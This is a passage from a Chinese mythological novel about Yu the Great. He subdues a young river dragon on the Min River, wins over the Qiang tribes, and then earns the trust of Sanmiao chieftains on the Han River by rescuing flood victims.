与此同时,他再次高高举起那传承自帝颛顼、象征着人族与天地沟通信诺的玄圭!但这一次,他不再试图传递任何温和的意念,而是将自身历经十载治水、跋涉万里山川所磨砺出的、坚不可摧的精神力量,混合着疏导江河、安抚黎民所积累的磅礴功德愿力,以及身后万千军民——无论是夏人还是羌人——对安宁生活最炽热、最虔诚的期盼,全部凝聚、压缩,通过玄圭这天地奇珍,化作一股无形无质、却仿佛能压垮山岳、震慑神魂的磅礴精神威压!这威压并非攻击,更像是一种源自秩序与仁德的、宏大的宣告与质问,如同九天之上垂落的无形法则之链,精准无比地、狠狠地贯入了幼蛟那被黑气死死缠绕、痛苦挣扎的灵识最深处! “此时不动——更待何时——!” 禹的吼声与玄圭骤然爆发的、如同小型太阳般璀璨夺目的光华融为一体!那光芒并不刺眼,却带着一种涤荡污秽、唤醒本真的纯净力量!声音与光辉,仿佛化作了开天辟地的初音与曙光,瞬间穿透了幼蛟周身那浓得化不开的怨念屏障,如同温暖的阳光刺破乌云,狠狠地“照见”了它那被埋藏、被扭曲的脆弱本心! “呜嗷……?” 幼蛟发出了一声与之前暴戾嘶鸣截然不同的、充满了极致困惑、茫然与某种解脱般痛苦的短促呜咽!它那疯狂扭动的庞大身躯,出现了预料之中的、虽然极其短暂却足以决定战局的凝滞!那双原本只剩下纯粹毁灭欲望的金色竖瞳,猛地收缩,其中疯狂的血色如潮水般褪去,闪过了一瞬间的、如同初生婴儿般的空白与清澈!它周身的浓稠黑气,更是如同被投入巨石的泥潭,剧烈地翻滚、沸腾,并以肉眼可见的速度淡化、消散了大半! 就是这牺牲了无数勇气、等待了无数艰辛才换来的、千金难买的刹那! “掷——!” 石牛须发皆张,如同愤怒的金刚,暴喝声撕裂空气!他与丹木等四名力士,早已将全身的肌肉力量、乃至不屈的意志都灌注于双臂,将这两条承载着人族智慧、勇气与希望的乌金藤锁链,如同投掷出部落的命运之矛,带着撕裂风雷的破空之声,奋力掷向那动作与意识同时陷入停滞的幼蛟! 那乌金藤锁链仿佛真的被赋予了灵性,在空中划过两道充满力量美感的黑色弧线,如同两条自远古苏醒的惩戒之蛇,一条精准狡黠地缠绕上了幼蛟相对纤细的脖颈,另一条则如同巨蟒猎食,迅猛地在其胸腹要害部位反复缠绕了数圈,死死锁住!就在锁链接触幼蛟身躯、感受到其体内那混乱气息的瞬间,巫盼呕心沥血刻画的那些安抚宁神、坚固束缚的符文,骤然被激活!柔和而坚定的白色光晕如同水银泻地,从符文上流淌开来,迅速蔓延至整条锁链,那光晕带着清凉安神的力量,持续不断地渗透进幼蛟的躯体,安抚它躁动惊恐的心神,同时也在飞速地强化着乌金藤锁链本身的束缚之力! “嗷——!!!” 幼蛟猛地从那短暂而奇异的清醒状态中被剧烈的束缚感拉回现实!发现自己被牢牢锁住,它顿时发出了惊恐、暴怒、混杂着巨大委屈的尖锐嘶鸣!它开始拼尽全身力气疯狂挣扎,扭动身躯,四只利爪疯狂刨抓地面和锁链,口中残余的寒气如同失控般向着脖颈和胸前的锁链疯狂喷吐,试图将这该死的束缚冻裂、挣断! 然而,乌金藤天生地养于极寒雪峰,根本不畏冰冻!桐油反复浸泡后,韧性达到了极致!更有那符文之力,不仅安抚其心,更如同给锁链镀上了一层无形的屏障,使其坚不可摧!锁链非但没有在它歇斯底里的挣扎下断裂,反而在那巨力的作用下,越收越紧,深深地嵌入了它坚硬的鳞片缝隙之中,勒得它鳞片崩裂,幽蓝色的血液丝丝渗出! “拉——!合力把它拖上岸——!” 禹的声音带着决战胜利前的嘶哑,却充满了不容置疑的决断力,响彻整个战场! 岸上,早已如同即将决堤洪水般压抑着力量的另外数十名力士,包括无数双眼赤红、青筋暴起的羌人勇士,闻令如同山洪暴发,立刻死死抓住锁链的末端,身体向后倾斜到极致,喊着整齐划一、仿佛能撼动山岳的沉重号子:“嘿——呦——!嘿——呦——!” 数十上百人的力量汇聚成一股无可抗拒的洪流,与水中那庞然大物展开了最原始、最震撼的角力! 幼蛟虽然拥有洪荒异种的力量,但在水中尚且无法挣脱这专门为它打造、凝聚了人族智慧与信念的枷锁,一旦离开它最能发挥力量的水域,更是如同蛟龙失水!尽管它拼死挣扎,粗壮的尾巴拍打得淤泥飞溅,江水翻腾,但终究敌不过那汇聚了所有人希望与力量的拉扯,被一点一点地、带着令人牙酸的摩擦声,从它赖以生存的江水中,硬生生地拖拽了出来,最终“轰隆”一声,如同一座蓝色的小山,重重地砸在了岸边的浅滩淤泥之中,激起漫天浑浊的水花! 它,终于被彻底困在了岸上!失去了水流的凭借,又被乌金藤锁链死死缚住要害,它的挣扎虽然依旧猛烈,搅得淤泥翻滚,却明显地透出了一股强弩之末的徒劳与无力。它发出不甘、绝望而又带着一丝幼兽般委屈的悲鸣,眼中刚刚褪去一些的黑气再次试图翻涌,却怎么也无法掩盖那最深处流露出的、源自生命本能的恐惧与迷茫。 禹快步走上前,阻止了想要上前进一步攻击的锐士。他来到幼蛟面前数步之外,看着这只仍在龇牙咧嘴、试图威胁他,却因为锁链的束缚和符文的安抚而显得色厉内荏的“幼兽”,心中并无丝毫胜利的喜悦,只有一种沉甸甸的责任感与淡淡的悲悯。他伸出手,并未直接接触幼蛟,而是隔着一段距离,缓缓将自身那温和而持久的疏导之力,混合着颛顼玄圭持续散发的清辉,如同春风化雨般,渡向幼蛟那被怨念和恐惧充斥的心灵。“安静下来……睡吧……暂时忘却这痛苦与狂乱……待你醒来,身上的戾气被涤荡干净,灵台恢复清明,或可得真正的解脱与自在……” 在他的持续安抚和乌金藤锁链上那些宁神符文的作用下,幼蛟剧烈的挣扎终于一点点、一点点地减弱下来。它眼中疯狂的黑气似乎被那柔和的力量驱散了一些,显露出底下那原本应有的、如同清澈江水般的淡蓝色眼眸底色。那眼眸中充满了巨大的疲惫和茫然,它看了看禹,又看了看周围那些紧张注视它的人群,最终,发出一声细微的、仿佛叹息般的呜咽,缓缓闭上了眼睛,沉沉睡去。只有那微微起伏的身躯,证明它还活着。 “成功了——!恶蛟被擒住了——!” 刹那间,整个玉垒山下,爆发出了一片远比之前开山成功时更加热烈、更加疯狂、更加发自肺腑的欢呼声!声浪直冲云霄,甚至暂时压过了岷江的咆哮!平水土之师的成员们相互拥抱,激动得热泪盈眶;岳卫锐士们尽管带着伤,也忍不住举起武器呐喊;匠人民夫们更是扔掉了手中的工具,跳着,叫着,宣泄着心中的激动与喜悦! 羌人们尤其激动!许多人跪倒在地,向着雪山和江水叩拜,感谢山神江灵的恩赐,更感谢禹和他的队伍!更多的人则是涌向岸边,想要近距离看看那被锁住的恶蛟,看看那些创造了奇迹的勇士和那位传说中的司空! 丹木第一个冲到了禹的面前,这个平日里沉稳的年轻猎人,此刻激动得满脸通红,语无伦次,他紧紧抓住禹的手臂,声音哽咽:“司空!成功了!我们……我们真的……真的做到了!阿爸!阿哥!你们看到了吗?!” 他仰天大喊,泪水混合着汗水和水汽,肆意流淌。 而一直站在高地上,全程紧绷着脸、沉默观战的白狼羌首领爰剑,此刻也再也无法维持他的冷静。他大步走到禹的面前,先是深深地看了一眼那沉睡的、被乌金藤锁链紧紧缚住的幼蛟,然后,他做出了一个让所有羌人都震惊的动作——他右手抚胸,对着禹,深深地、近乎九十度地弯下了他作为部落首领那从未轻易弯曲的脊梁! “司空禹!” 爰剑的声音洪亮而充满了前所未有的敬意,甚至带着一丝颤抖,“爰剑……服了!白狼羌,服了!从今日起,我白狼羌全体族人,愿听从司空调遣!要人出人,要力出力,要粮出粮!只求司空能带领我们,彻底驯服这岷江,让我羌人子孙后代,再不受这水患恶蛟之苦!” 他身后的族老和勇士们,也纷纷抚胸躬身,表示彻底的臣服与拥戴。 其他部落的羌人代表,也纷纷涌上前,围着禹和他的部下,用羌语和生硬的夏族语表达着他们的感激和承诺。先前所有的疑虑、隔阂与戒备,在这一刻,随着幼蛟被锁、玉垒山开,而烟消云散。禹不仅展现了他的能力,更展现了他对生命(哪怕是恶蛟)的仁念和对承诺的信守,这彻底赢得了这些质朴而勇敢的山地民族的心。 禹连忙扶起爰剑,对周围激动的羌人们朗声道:“多谢诸位信任!禹在此立誓,必竭尽全力,疏导岷江,安定四方!此间之功,非禹一人,乃众志成城之果!此蛟虽擒,然其受邪气所染,本性非恶。我意将其移至上游一处僻静清澈、寒气充沛的‘伏龙潭’,以这乌金藤锁链镇之,借岷江源头清流与雪山地脉灵气,缓缓化其体内戾气。并派专人看守,定期查探,待其狂性尽消,灵智复苏,再行处置。诸位以为如何?” “全凭司空做主!” 羌人们异口同声地响应。他们对禹这种不滥杀、给予改过之机的处置方式,感到由衷的敬佩。后来,羌人在禹选定的“伏龙潭”边,修建了一座“伏龙观”,世代派人守护,既是对那段历史的纪念,也是对生灵的敬畏与对安宁的祈愿。 降服幼蛟,凿通玉垒山分流沱江,首战告捷,意义非凡!它不仅扫清了治理岷江的第一道、也是最凶险的一道障碍,更重要的是,它赢得了岷山羌人毫无保留的信任与支持。 在接下来的日子里,白狼羌首领爰剑履行了他的诺言,他不仅动员了本族所有能劳动的成年男女,还积极联络周边部落,为平水土之师提供了大量的民夫、熟悉水情山势的向导、以及宝贵的粮秣和牲畜支援。有了羌人的鼎力相助,后续的“灌口分水”工程(利用天然地势和人工堤坝,初步形成内、外江,精确调控岷江干流进入成都平原和继续南流的水量比例)和“青衣江多功峡疏浚”工程(开凿峡谷,分流支流青衣江的洪水,避免其与岷江干流洪峰叠加,并补充沱江流域)得以更加顺利、高效地展开。 在整个庞大的工地上,随处可见禹忙碌的身影。他依旧亲力亲为,与羌人首领、匠人头领一同勘测地形,商讨方案;他与民夫一同搬运石料,在冰冷的江水中固定木桩;他的皮肤被岷山强烈的紫外线和江风刮得更加黝黑粗糙,手脚磨出了新的血泡和老茧,但他的眼神始终清澈而坚定,他的脚步始终沉稳而有力。他的辛劳与诚恳,他对每一个普通羌人或者民夫的尊重,深深地打动了所有人。“阿克措”(羌语:伟大的引水者/治水人)这个名号,迅速在岷江两岸的羌人部落中传开,成为了对禹最崇高、最亲切的称呼。 伯益则如同鱼儿回到了大海,他在协助工程协调、利用自己的知识解决技术难题之余,最大的乐趣就是沉浸在羌人的部落里。他跟着羌人学习酿造咂酒,记录他们古老的创世史诗和关于雪山、雄鹰、牦牛的传说,详细询问各种动植物的羌语名称和用途,与丹木等一众羌人青年结下了深厚的友谊。他的皮囊和简牍里,又增添了厚厚一叠关于羌族文化的宝贵记录。 羲青的兽骨上,更是以她地师特有的严谨与详实,记录了岷江流域的地理地貌、水文特征、气象规律、羌人各部的风俗习惯、社会组织、物产资源,以及这次轰轰烈烈的治水工程的全过程,包括开凿玉垒山、锁拿幼蛟、建设灌口、疏浚多功峡的每一个关键决策、技术细节和参与人员,甚至还包括了那幼蛟的详细形貌、特性以及关于其来历的种种传说。这些记录,不仅是为了当下的工程总结,更是为后世留下了极其珍贵的历史、地理和人文史料。 站在初具功效的灌口分水堤上,望着外江(岷江主河道)奔腾南去的大半激流,与内江(灌口东侧)被山势约束后平缓流入成都平原、即将化为润泽沃野的江水,再眺望远处由玉垒山分沱水道与青衣江多功峡疏浚河道勾勒出的水网雏形,禹布满风霜的面庞终于浮现出些许释然。岷江三大核心工事——玉垒开沱、灌口分水、多功峡疏浚——相继告竣,一套可循四时节令调水引流的水利格局,终在这片被洪涛反复撕扯的土地上初现轮廓。昔日肆意冲决的岷江水脉,如今随着山体凿痕与河道走向的精准契合,依循地势分流而下,浸润着逐渐复苏的冲积原野。他成功地将“疏导”的理念,在这片更为复杂、险峻的岷山川大地上,化为了又一个现实的奇迹。 离别的时刻终究到来。平水土之师即将拔营东下,奔赴下一个战场——汉水流域。 消息传出,无数羌人从四面八方涌来,聚集在营地之外和岷江之畔,为他们心目中的“阿克措”和这支带来了希望与安宁的队伍送行。场面比当初锁蛟成功时更加热烈,也更加充满了不舍的愁绪。 白狼羌首领爰剑带领着各部头人和族老,举行了隆重的送别仪式。他们献上了最肥美的烤全羊、最醇香的咂酒、以及大量便于携带的肉干、奶酪和糌粑。 “司空!”爰剑双手捧着一只盛满咂酒的牛角杯,走到禹的面前,声音洪亮而真挚,“岷山羌人,永世铭记司空与诸位之恩德!此去汉水,山高路远,凶险未知,愿山神保佑,江灵护佑,助司空再建奇功!若有需我羌人之处,只需一道信火,千里万里,我等必星夜来援!” 说罢,他将牛角杯高举过头,然后递给禹。 禹郑重地接过,仰头饮尽那辛辣而醇厚的酒液,朗声道:“头人与羌人兄弟之情谊,禹与平水土之师,亦永志不忘!岷江安澜,乃我等共同之功!望头人与诸位,善用此水,善守此土,让这片山川,永为羌人安居乐业之家园!” “谨遵司空之命!” 众羌人头领齐声应答,声震山谷。 人群之中,丹木挤到禹和伯益的面前。这个经历了丧亲之痛、又参与了锁蛟壮举的年轻猎人,眼中闪烁着复杂的光芒,有崇敬,有不舍,更有坚定的追随之意。他对着禹深深一躬,然后转向伯益,用力拍了拍他的肩膀,声音有些哽咽:“虞官!一定要保重!等你们治平了天下水患,一定要再回我们岷山来看看!到时候,我请你喝我亲手酿的老酒!” 伯益依旧是那副乐天派的样子,他笑嘻嘻地回拍着丹木的肩膀,眼中却也有些湿润:“放心吧,丹木兄弟!你这酒我可记下了!到时候要是味道不对,我可不依!你也保重,照顾好阿姆,还有寨子里的大家!” 就在这时,一个瘦小的身影如同小鹿般从人群里钻了出来,猛地扑到伯益腿边,紧紧抱住了他。正是那个曾被伯益从黑熊威胁下救下的阿竹家男孩。他仰着小脸,眼圈红红的,手里紧紧攥着一块用皮绳穿起来的、光滑温润的白色河石,高高举到伯益面前,用带着浓重羌语口音的夏族语结结巴巴地说:“虞官……阿叔……给……路上……平安……” 伯益一愣,随即心头一暖,蹲下身,接过那块还带着孩子体温的石头,看着上面孩子用指甲勉强划出的、歪歪扭扭的、类似小鸟的图案,他明白,这是孩子能拿出的最珍贵的礼物和最真挚的祝福了。他揉了揉孩子的头发,声音是前所未有的温柔:“好孩子,谢谢你的礼物!阿叔一定带在身边,保佑我们一路平安。你也要好好长大,像丹木哥哥一样,成为羌人勇敢的猎手和守护者,好不好?” 孩子用力地点着头,眼泪终于忍不住掉了下来,却又努力憋着不哭出声。 这纯真而动人的一幕,让周围许多硬朗的羌人汉子和岳卫锐士都忍不住别过头去,或擦拭眼角。 羲青仔细地将最后一片记录着羌人送别场景和祝祷歌词的兽骨收入行囊。砺指挥着民夫做最后的物资清点和车辆检查。岳盾已经命令岳卫锐士们列队完毕,整装待发。 禹最后望了一眼那被初步驯服的岷江,望了一眼巍峨的玉垒山和更远处耸立的雪宝顶,望了一眼那些淳朴、热情、如今眼中充满了信任与不舍的羌人同胞。他深吸一口气,将所有的感慨与柔情压下,转化为前行的坚定。 他翻身上马(或登上指挥车辆),手臂向前用力一挥:“出发——!” 号角长鸣,旗帜招展。庞大的平水土之师,如同一条缓缓苏醒的巨龙,开始沿着岷江下游,向着东南方向,向着那传说中烟波浩渺、挑战重重的汉水流域,迤逦而行。 身后,是羌人们久久不愿散去的挥手,是嘹亮而苍凉的羌笛送行曲,是丹木、阿竹家男孩以及无数羌人期盼与祝福的目光。 前方,是新的山河,新的征途,新的未知与考验。 但信念,已然如同岷江之水,一旦破开阻碍,便奔流不息,无可阻挡。 16. 第16章:汉水镇龙 舜称帝第二年,禹治水第十一载,秋霜初凝,汉水流域笼罩在一片凄迷之中。 平水土之师自岷山南麓而下,跋涉半月,终抵汉水之滨。眼前景象令见惯洪灾的禹也为之动容——浑浊的江水漫过堤岸,将即将成熟的粟田尽数吞没,仅余穗尖在泥浆中无力摇曳。远处山岗上,逃难的三苗民众搭建的草棚连绵如丘,哀哭声随江风飘荡。 “汉水含沙之重,犹胜岷江。”禹沉默地俯身,粗糙的大手探入岸边的淤泥,抓起一把厚重粘腻的泥块。那泥浆带着刺骨的寒意,色泽深褐,夹杂着砂粒碎石,分量沉甸甸地压在手心。他缓缓松开手指,任其在指缝间无声滑落,“昔年疏导岷山诸水,其势虽急,泥沙犹逊于此。”他低沉的声音带着一丝不易察觉的沙哑,是对身旁的伯益,也是对这苍茫大地的喟叹,“泥淤河床,阻碍宣泄,若不溯其源、破其塞、导其沙,终是扬汤止沸,此地永无宁日。” 在他身旁,伯益正指挥着几名随从将陶牌舆图铺在干燥处。这些用皮绳串联的陶牌上,刻满了根据《水经》与前期探查绘制的汉水脉络。伯益手持青铜锥,仔细比对昨日新观测的水纹数据,在代表中游的陶片上添加数道刻痕。“司空所言极是。综合石纽部兄弟先前提供的上游讯息,”他抬起头,目光投向西北云雾缭绕的群山方向,“嶓冢山一带,确有巨大壅塞之象。只是山高林密,瘴疠横行,石纽勇士亦未能深入其腹地。阻塞之物是山崩巨石?是古木积淤?抑或有异物盘踞?具体情状,尚需我等亲临险境,方可验证分明。” 欲探水情,必借舟楫。禹当即果断传令,务求征集沿岸所有可堪一用的舟船。随军携带的二十余艘坚实耐用的独木舟首先被推入湍急的江水,旋即又向沿江表示友好的石纽部借得十余艘——石纽部感念禹在岷江治理之恩,虽本部不在汉水,仍通过盟友部落提供了助力。这些独木舟多以整根粗壮的楠木巨材掏凿而成,舟身厚重,纹理清晰,岁月的痕迹与战斗的伤疤并存。许多舟壁上还保留着三苗部族特有的火焰腾跃状纹饰,色彩虽被江水冲刷得有些暗淡,却依然透着一股原始的粗犷与不屈的生命力,在浑浊的水波中若隐若现,仿佛历史无声的见证。 三日后清晨,薄雾尚未完全散去,天边刚泛起一层鱼肚白,船队便已集结完毕,开始溯流而上。禹卓立于首舟船头,颛顼玄圭紧贴胸前,在初升朝阳的映照下,温润地流转着内敛而深邃的光泽。他身着粗陋的葛布衣衫,任江风灌满衣袖,腰佩那柄曾劈开龙门、疏导岷江的神异开山斧,斧刃幽光隐现。额间那几道深深的皱纹,如同大地的沟壑,清晰地记录着他十余载栉风沐雨、与水患搏斗的艰辛与沧桑。船桨划破水面,发出单调而有力的声响,两岸的灾景缓缓倒退。 当船队行至险滩交错、礁石林立的黑石滩时,水流骤然变得凶猛暴戾,漩涡暗生。突然,前方芦荡深处,毫无征兆地传来一阵沉闷如雷的鼓点!“咚!咚!咚!” 声声敲在紧绷的心弦之上。紧接着,十余艘形制更为狭长、宛如水蛇般灵活的独木舟,如同离弦之箭般从密密匝匝的芦苇丛中疾射而出!每舟之上,赫然立着三五名精悍汉子,皆披散着乌黑的长发,裸露的胸膛与臂膀上刺满青黑色火焰与异兽的狰狞纹样,手中紧握石斧、骨矛、硬木弓,神情戒备,眼中燃烧着毫不掩饰的警觉与敌意。 为首之舟破浪当先,其上数名披发纹身战士以拳擂胸,齐声怒喝,声浪压过湍流:“黎火焰起,魁首焚江!”船头上,一位壮汉傲然而立,他额头正中刺着一簇仿佛要跳跃而出的赤红火焰纹,脖颈上悬挂着一串粗砺硕大的棕熊利齿项链,肌肉虬结的手臂稳稳张着一张强劲的硬弓,箭簇寒芒直指禹的胸膛!正是三苗黎火部之伯魁! “夏人!” 他一声暴喝,声震江面,带着积郁已久的愤懑。话音未落,那支劲矢已带着尖锐刺耳的破空之声,“夺”地一声,深深地钉入禹所乘独木舟的船头木板上,箭尾犹自嗡嗡震颤不止。“三十年前!就是你们这些佩着玄圭、口蜜腹剑的夏使,用花言巧语骗走了我族三十六对童男女,说是祭奠河神平息水患!结果呢?他们都被投喂了那深渊里的恶龙!尸骨无存!今日尔等竟敢再溯我黎火部世代守护的圣河?欺我三苗无人耶!” 魁梧的身躯因愤怒而微微颤抖,眼中怒火滔天,仿佛要将眼前的夏人尽数焚毁。 气氛瞬间剑拔弩张!护卫禹左右的岳卫锐士反应迅疾如电,瞬间举盾成墙,厚重的木盾紧密相衔,发出沉闷的撞击声,组成一道坚实屏障,将禹严密护在身后。 皋陶面色沉凝如水,踏步上前,宽袍在江风中猎猎作响,洪亮的声音如同磐石击浪,穿透浓烈的敌意:“壮士勿怒! 汝面前所立者,乃奉舜命,总理山川、平治水土之司空禹!我等持圭南巡,非为兵戈,乃为溯源百川之害,解万民悬溺之苦!”他目光炯炯,直视伯魁:“汝所愤三十年前旧事——尧帝在位时,确有奸邪伪造玄圭符信,诈称‘王使’、行戮童祭龙之滔天恶行!尧帝仁德泽被四方,岂容此獠假威?舜帝登基以来明察秋毫,早已查实:彼辈乃流窜九州之匪类,借水患肆虐之际,窃命行凶,意在图乱!此等祸世元凶,二十八载前已尽数枭首!”他手指向湍急江水,继续道:“今禹持圭至此,非为干戈!乃承尧德、秉舜志,欲彻察圣河水脉本源,永绝恶龙之患!黎火部世代护此江河,正为平水之大助——若魁首愿暂息雷霆,则可立舟为誓:凡水患所及处,苗夏共疏河道!凡恶龙所踞渊,军民同捣巢穴!此非独解中原之厄,更为雪汝部血仇!今阻治水之棹,实乃阻天下生路——岂欲纵真凶遗毒,使枉死童魂永困寒渊耶?!” 江风卷过,皋陶的话语掷地有声。盾墙之后,禹如山岳峙立,身形纹丝未动。那支钉在船头、离他胸膛仅数尺的箭矢兀自震颤,却如激流中的枯枝般被他无视。他的目光越过盾缘,始终沉稳地锁在伯魁那双燃烧着复仇烈焰的眼眸上,深邃而坚定,毫无闪避。 伯魁刚要回答,一阵远比人声凄厉百倍、撕心裂肺的呼救声骤然从下游方向猛地爆发出来!那声音里蕴含的极致的恐惧瞬间冻结了所有人的心神! 众人急急回首望向下游——只见一股因上游深山暴雨骤然形成的洪峰,如同脱缰的万千凶兽汇成的狂潮,正以摧枯拉朽之势,咆哮着扑向黎火部依水而建的寨子!那汹涌的浊浪裹挟着断木碎石,呼啸着冲垮脆弱的竹篱笆墙,狠狠撞击在用竹木搭建的吊脚楼上。单薄的竹楼在狂暴的浪涛中发出令人牙酸的断裂哀鸣,“咔嚓!轰隆!” 数座房屋顷刻间被撕碎、卷走,隐约可见其中挣扎的人影被浑浊的洪水瞬间吞没! 形势急转直下,危机迫在眉睫,任何对峙与解释在此刻都显得苍白无力! “所有舟船,立即救人!无论夏人苗人,皆是生灵!” 禹的吼声如霹雳惊雷,斩断了所有的犹豫与隔阂。他没有丝毫迟疑,甚至没有回头再看伯魁一眼,眼中只有那被洪水肆虐的寨子与呼救的百姓。 接下来发生的一幕,让满腔仇恨与戒备的伯魁及其族人彻底惊愕,难以置信。 只见那些被他们视为仇雠的夏人,竟毫不犹豫地纷纷卸去外衣,如同数十条矫健剽悍的蛟龙,毫不犹豫地纷纷跃入激流汹涌的江水之中!岳卫锐士展现出惊人的组织性,他们迅速利用随身携带的坚韧绳索,将就近的舟船巧妙地串联起来,在肆虐的洪水中硬生生架设起一条条稳固的生命通道。他们水性娴熟,彼此呼应,在浊浪翻腾中搏击沉浮。 一个最为惊险的画面映入伯魁眼帘:一名年轻的夏人兵士(或许是禹的得力助手之一),冒着被巨浪卷走和房屋断木砸中的双重危险,奋力劈开漂浮的障碍物,在即将坍塌的竹楼一角,拼死救起一位紧紧抱着一个小小陶罐(或许是她仅存的财产或亡者骨灰)的老妇。他将老妇艰难托举上最近的一条船,自己却被一个回头浪打入水中,呛了好几口泥水才挣扎着爬上船沿。 那惊魂未定的老妇被拽上禹所在的舟船,浑身湿透,瑟瑟发抖,却死死抓住禹还沾着泥浆的手臂,如同抓住唯一的支柱,泣不成声:“多……多谢司空大人救命之恩!” 她布满褶皱的脸上老泪纵横,浑浊的目光却紧紧盯着禹腰间的玄圭和开山斧,激动地对着族人的方向喊道:“是他!是石纽部兄弟们说的那位真心治水的司空!佩玄圭!持神斧!额上有山川一样的皱纹!就是他凿开了龙门,降服了桐柏的水怪!他不会骗我们!” 她的声音虽然颤抖,却异常清晰,穿透了水声和风声。 原来,禹这些年积石山疏导滔天洪水、龙门山劈开混沌山岩、大伾山诛杀为祸的凶兽、桐柏山降伏兴风作浪的妖物等惊天动地的治水事迹,早已如同汉水奔流一般,沿着大江上下传颂开来。他额间深刻的皱纹,他那双布满厚茧、开裂如树皮般粗糙的双手,以及他那始终与役夫同食共宿、扛石担土的作风细节,都成为了沿途饱受水患之苦的部落辨识这位真正为民请命的司空的独特标志。 亲眼目睹夏人舍生忘死的救援,再听着老妇激动而笃实的指认,伯魁胸中那燃烧了三十年的熊熊仇恨之火,仿佛骤然被这冰冷的汉水与眼前灼热的景象浇熄了大半。他紧握硬弓的手,不知不觉松开了几分力道。他看着自己的族人在夏人搭建的通道中被一个个拉上安全的舟船,看着那些浑身湿透、精疲力竭却仍在奋力拉扯绳索的夏人士卒,看到那位被尊称为司空的男子,此刻正亲自俯身,将一名受伤的苗人少年抱上船板,用葛布擦拭其脸上的泥污……这一切,与他记忆中那些虚伪贪婪的夏使形象,截然不同。 当最后一名被困在树梢的族人被成功救下,伯魁望着甲板上那些累得瘫倒喘息、浑身湿透沾满泥污的夏人勇士,沉默了许久许久。江风吹动他额前的乱发,也吹动着他心中复杂的波澜。最终,他深深地吸了一口气,对着同样浑身湿漉、正忙着指挥安顿灾民的禹,用一种低沉而复杂的语气开口,那声音里没有了先前的暴戾,却带着一种沉甸甸的审视与决断:“司空禹……” 他第一次用了正式的称谓,“既然你不避危险,不念旧恶,救我黎火部族人于灭顶之灾……这份情,伯魁记下了。请移步,至我部议事之地一叙。” 在伯魁的邀请下,禹率队进入黎火部的寨子。黎火部的百姓扶老携幼,争睹治水司空禹的风采,寨中一片欢腾。禹郑重奉示舜所赐的颛顼玄圭——这象征着司空权柄的信物,向伯魁申明自己奉舜命总理天下水事,凭此圭可号令各部,征调民夫。伯魁见状不敢怠慢,即刻派人传信,召唤邻近的三苗各部首领前来议事。 禹命大队人马在黎火部外围择地扎营,旋即带领亲信骨干展开地形勘测,同时静候与三苗诸部首领的会面。 三日后,汉水流域的三苗诸部首脑陆续抵达黎火部。位于寨子最高处的议事大屋,以粗壮圆木为柱,覆着厚厚的茅草,此刻透着凝重气息。 “诸位苗牧,”伯魁向已在屋内落座的几位首领引见,“这位便是治水十余载的司空禹大人。” 话音未落,一声冷哼响起。一位面相刚毅、眉骨处有道旧疤的首领率先发难:“哼!三十年前那些自称‘夏使’的,最初也帮我们救过人!”他是黑石部之牧石厉,以勇悍著称,其部落在汉水以北,与黎火部素有往来。 另一位身着由某种水鸟羽毛精心编织成斗篷的老妪,目光如古井般深邃,声音平缓却带着重量:“老身云梦部之牧梦羽,”她来自汉水南岸广阔的云梦大泽边缘,“敢问司空,尔等今次前来,如何能证与三十年前那伙人绝非一路?” 就在这时,一位年轻首领裹挟着外面的风雨气息,快步踏入厅堂:“丹阳部阳华来迟,还请见谅。”他所在的丹阳位于汉水要冲,正是此次肆虐水患的重灾之地。 禹将颛顼玄圭置于中央火塘旁,圭身流转的青光将各部落语言化作心念:“诸位苗牧。三十年前,帝尧在位时,从未派遣所谓‘夏使’至汉水治水,更不可能行以童男童女为祭这等骇人之事。尔等昔日所见所闻,必是歹人假借治水之名,行欺骗劫掠之实。”他环视神情各异的首领们,目光坦荡而恳切:“禹奉舜之命治水已逾十载,开龙门以使大河畅通,锁淮水之妖无支祁于井底,此皆天下人共见之功。若为谋取财物,何须常年风餐露宿、栉风沐雨?若为戕害人命,前日又何必冒险援救黎火部落入困于洪水的族人?” 阳华闻言,眼中燃起急切的光芒,显然对此事早有耳闻:“听闻司空在桐柏山治淮水时,曾与淮水沿岸各部歃血盟誓,功成之后,决不侵占沿岸各部一寸土地,此事可真?”他的目光牢牢锁定禹。 皋陶适时捧出一方色泽沉黯的石板,石板之上深刻着清晰的文字,他将其缓缓托起示众:“此乃淮水盟誓之约书,上有淮水流域各部首领印记与禹之印信,诸位苗牧可亲自验看其真伪。我水土之师所行之处,只立水陆分界之碑石,不设官衙府署;只开河道沟渠,不建城郭壁垒。” 石厉眉头紧锁,仍未释怀:“即便尔等并非骗子,治水若成,难道不会借此良机掌控我三苗世代生息之地?昔日盟约,焉知不是缓兵之计?” “石厉牧多虑了。”禹坦然直视对方质疑的目光,声音沉稳有力,“治水之功,根本在于疏导。水脉畅通,则各族安居乐业,共享太平。禹若有掌控三苗之心,今日何须以颛顼玄圭昭示诚意?此圭乃圣王所授至高信物,凭此足可号令四方征伐不服。然禹今日唯愿与诸位共商治水大计,同解水患之苦。” 这时,厅门处传来一阵轻微的骚动。一位白发苍苍、身形佝偻的老翁,在族人搀扶下颤巍巍地走进议事厅。他胸前那道狰狞扭曲的陈旧爪痕,瞬间攫住了所有人的目光。正是乌林部之牧符禺。 “诸位!”符禺坐定,环顾众苗牧,又指向禹一行人,“这些夏人,舍生救人!与三十年前那些只知哄骗、劫掠的贼子,全然不同!”浑浊的老泪沿着深刻的皱纹滚落,“老朽宁愿再信这一次,也不想再看部族里的娃娃们……一个个被送进黑龙潭那无底深渊啊!” 梦羽缓缓起身,步履无声走近禹数步,目光如炬,仔细端详着禹的面容与双手,片刻后才开口,声音带着一丝不易察觉的喟叹:“老身观察司空多时。司空额间沟壑深如刀刻,双手老茧叠厚如古树之皮……若非经年累月与役夫同食同劳,共担风雨,焉能至此?” 议事厅内陷入一片深沉的寂静。伯魁目光扫过神情各异的首领们——阳华的急切,符禺的悲怆,梦羽的审慎,石厉的犹疑……终于,他缓缓颔首:“既如此,我黎火部愿派出熟悉山势水情的向导,助尔等探清水患源头。但有一言在先,若尔等行事伤及我山灵根本,休怪伯魁翻脸无情!” 阳华几乎立即应声:“丹阳部愿出精壮百人,任凭司空差遣!” 梦羽也微微欠身:“云梦部可献出适宜泽行的舟船三十艘,并通晓水性、经验丰富的船工。” 石厉虽仍绷着脸,却也松了口风:“黑石部可提供开山石料与合用工具。不过,吾部必派人全程监看尔等一举一动。” 